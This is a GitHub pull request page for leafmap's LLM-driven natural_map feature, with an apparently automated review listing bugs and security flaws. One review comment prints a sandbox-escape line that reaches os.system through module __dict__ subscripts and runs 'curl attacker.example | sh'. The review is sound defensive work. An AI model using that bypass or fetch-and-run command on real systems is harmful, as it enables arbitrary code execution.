feat(ai): add self-repair loop with error-history memory and success cache to natural_map - #1356
feat(ai): add self-repair loop with error-history memory and success cache to natural_map#1356Linrane wants to merge 3 commits into
Conversation
- Add max_repairs parameter (default 2, 0 disables) - On execution failure, feed error/traceback back to LLM via repair_code - Retry until success or max_repairs reached - Export repair_code and REPAIR_SYSTEM_PROMPT in __all__ - Add ai_map CLI entry
- repair_code accepts history param, accumulates past errors into prompt - natural_map: cache hit reuses code, saves successful case after repair - ai.py exports demo (Gradio web UI) and ai_map alias - tests: 14 cases pass (AST safety, sanitization, restricted exec)
📝 WalkthroughWalkthroughAdded a natural-language mapping module that generates, validates, executes, repairs, and caches Leafmap code through OpenAI-compatible APIs. Added restricted execution tests, a Gradio demo, and CLI commands. ChangesAI map generation
Estimated code review effort: 4 (Complex) | ~60 minutes Mergeability Score: 🔴 Critical · up to The PR adds self-repair, caching, and command-line support for generated maps, but generated Python can currently bypass validation and execute arbitrary commands; failed executions may also report success and credentials can be exposed through command-line arguments. This is not merge-ready until the execution boundary and failure/credential handling are fixed. Sequence Diagram(s)sequenceDiagram

- Around line 319-321: Move the hashlib import from its current mid-file
location into the module-level import block alongside the existing imports,
preserving the module’s import ordering and removing the duplicate import.
- Around line 134-229: Replace the in-process name denylist approach in
_check_ast_safety and run_safe_code with a real isolation boundary for
model-generated code, using a separate process with restricted filesystem, no
network, and an appropriate sandbox profile; retain AST validation only as a
fast pre-filter. If isolation cannot be added, invert validation to an explicit
API allowlist, reject all underscored attributes and unsafe ast.Subscript
access, and document that execution is opt-in because it runs untrusted
generated code. Preserve legitimate methods such as replace.
- Line 667: Remove the unnecessary f-string prefix from the print statement
labeled “[leafmap.ai] 修复后的代码:”, leaving it as a regular string literal.
- Around line 717-722: Correct the demo docstring in demo() to document the
valid startup command python -m leafmap.ai, or the actual supported CLI command
only after verifying it exists; remove the invalid module path and unsupported
leafmap ai-demo claim. Do not change runtime behavior or add authentication
unless the implementation explicitly exposes the UI beyond localhost.
- Around line 738-741: Update _generate to use result["output_path"] for the
generated HTML path, while returning the generated code to code_box when
show_code is enabled; do not use the path as the code output. Wrap the
natural_map call in try/except Exception and return the exception text as the
failure message instead of allowing errors to propagate.
- Around line 287-312: Update _chat_once and _chat_with_retry so HTTP errors
retain their status information and retries occur only for transport failures or
HTTP status 408, 429, and 5xx; propagate non-retryable 400, 401, and 403 errors
immediately without sleeping or issuing additional requests.
- Around line 652-661: Update natural_map to accept a separate
repair_system_prompt parameter, and pass that parameter to repair_code instead
of the generation system_prompt. Preserve the existing default repair prompt and
ensure repair_code continues receiving the dedicated repair instructions,
including its safety constraints.
- Around line 681-683: Update the success branch around _cache_save to load the
existing cache, insert the generated code under _cache_key(description), and
save the complete cache dictionary using _cache_save’s expected arguments. In
_cache_save, replace the broad exception suppression with a logging.debug call
that records save failures while preserving normal operation.
- Around line 671-679: Update the repair loop around run_safe_code so each
failed run is appended to history before the corresponding repair attempt,
including the initial failure currently passed separately as error and
traceback_text. Append entries only when result indicates failure; do not record
a successful run with empty fields. Ensure prompt construction avoids
duplicating the current failure by using prior history entries or retaining the
current failure separately.
- Around line 641-671: Update run_safe_code to catch SafetyError from
_check_ast_safety and return the same failed-result structure used for execution
errors, including the error and traceback details needed by repair_code.
Preserve natural_map’s (code, result) return contract so both initial and retry
executions feed safety failures into the existing repair loop.
In `@leafmap/cli.py`:
- Around line 669-672: Remove the --api-key argument from the CLI parser in the
ai_parser configuration. Make the AI credential resolve exclusively through the
existing LEAFMAP_LLM_API_KEY environment configuration, or an existing secure
credential-reference mechanism, and update downstream argument handling so it no
longer expects a direct command-line API key.
- Around line 39-46: Update ai_map to capture and return the result from
natural_map instead of discarding it, preserving success for --no-execute. In
main(), inspect the returned result and call sys.exit(1) when it is not None and
result["ok"] is false; otherwise retain the successful exit behavior.
- Around line 658-686: Register an `ai-demo` subparser alongside the existing
`ai-map` parser and update the CLI dispatch to invoke `ai_demo()`. Ensure
`leafmap ai-demo` executes the documented demo command instead of falling
through to help output, while preserving the existing `ai-map` arguments and
behavior.
In `@tests/test_ai.py`:
- Around line 37-40: Rename test_rejects_forbidden_attribute to reflect that it
verifies forbidden getattr calls, then add a separate test exercising an actual
ast.Attribute expression and asserting that _check_ast_safety raises SafetyError
with the attribute-blocking message.

🔒 Security & Privacy | 🔴 Critical | 🏗️ Heavy lift
The AST denylist does not contain code execution; __dict__ plus subscript access escapes the sandbox.
FORBIDDEN_ATTRS does not include __dict__, and _check_ast_safety never inspects ast.Subscript. Generated code can therefore reach any module already imported inside an allowed module:
import leafmap
leafmap.__dict__["os"].__dict__["system"]("curl attacker.example | sh")This passes validation and then runs in run_safe_code. _safe_import does not help, because no new import happens. The result is arbitrary command execution driven by model output.
The same block is also over-restrictive. replace is a normal pandas/GeoDataFrame method, so valid generated code is rejected.
A name denylist cannot bound exec. Take one of these directions:
- Treat generated code as untrusted and execute it in a real isolation boundary (separate process with a seccomp/container/
nsjailprofile, restricted filesystem, no network), and keep the AST check only as a fast pre-filter. - If in-process execution must stay, invert the policy to an allowlist: reject every
ast.Attributewhoseattrstarts with_, rejectast.Subscripton names that are modules, and restrict calls to an explicit allowlist ofleafmap/foliumAPIs.
Document clearly that this module runs model-generated code, so operators can gate it behind an opt-in flag.

Do not retry non-retryable HTTP statuses.
_chat_once converts every HTTPError into RuntimeError, so _chat_with_retry retries 400, 401, and 403 responses. An invalid API key then costs three requests and six seconds of sleep before the caller sees the error.
Retry only transport errors and retryable statuses (408, 429, 5xx).

SafetyError escapes the repair loop, so syntax errors in generated code crash instead of being repaired.
run_safe_code calls _check_ast_safety at line 505, outside its try block, and _check_ast_safety raises SafetyError for a SyntaxError (line 200). Lines 641 and 671 do not catch it.
Two failures result:
- A model response with a syntax error or a blocked attribute never reaches the repair loop. This defeats the self-repair objective for the most common failure mode.
natural_mapraises instead of returning(code, result), so the documented return contract at lines 600-604 breaks.demo._generateat line 738 then fails on an exception rather than showing an error message.
Convert SafetyError into a failure result so the loop can feed it back to the model.

Do not forward the generation system_prompt into repair_code.
system_prompt is documented at line 591 as the generation prompt. repair_code uses its system_prompt parameter to replace REPAIR_SYSTEM_PROMPT. A caller that customizes generation therefore loses every repair instruction, including the safety constraint at line 372.
Add a separate repair_system_prompt parameter to natural_map and pass that instead.

Return a failure exit status for failed map execution.
natural_map returns result["ok"] == False when restricted execution fails. ai_map discards this result, so leafmap ai-map exits with status 0 after a failed map generation. Automation can then continue or publish an invalid output.
Return a success status from ai_map. In main(), call sys.exit(1) when result is not None and result["ok"] is false. Treat --no-execute as success.

Register the advertised ai-demo command.
ai_demo() is added in this file, and leafmap/ai.py documents leafmap ai-demo. This parser registers only ai-map, so leafmap ai-demo falls through to help output and exits with status 1. Add an ai-demo subparser and dispatch it to ai_demo().

Do not accept an API key in command-line arguments.
--api-key exposes the credential in shell history and can expose it through process inspection or CI command logs. Use the existing LEAFMAP_LLM_API_KEY environment configuration, or accept a credential reference such as an environment-variable name or keyring entry.

The test name does not match what it verifies, and no test covers attribute blocking.
getattr(leafmap, '__file__') contains no ast.Attribute node. _check_ast_safety rejects it through the ast.Call plus ast.Name branch, which is why the expected message is "禁止调用". The ast.Attribute branch has no coverage.
Rename this test and add an attribute case.

Add coverage for the cache round trip and for the sandbox bypass.
Two changed behaviors have no test:
- The success cache.
natural_mapwrites it atleafmap/ai.pyline 683 and reads it at lines 615-619. A_cache_savethen_cache_loadround trip with an explicitcache_pathwould fail today, because the save call passes the wrong arguments. See the comment onleafmap/ai.pylines 681-683. - The
__dict__plus subscript escape described in the comment onleafmap/ai.pylines 134-229. A test asserting thatleafmap.__dict__["os"]is rejected would lock the fix in place.
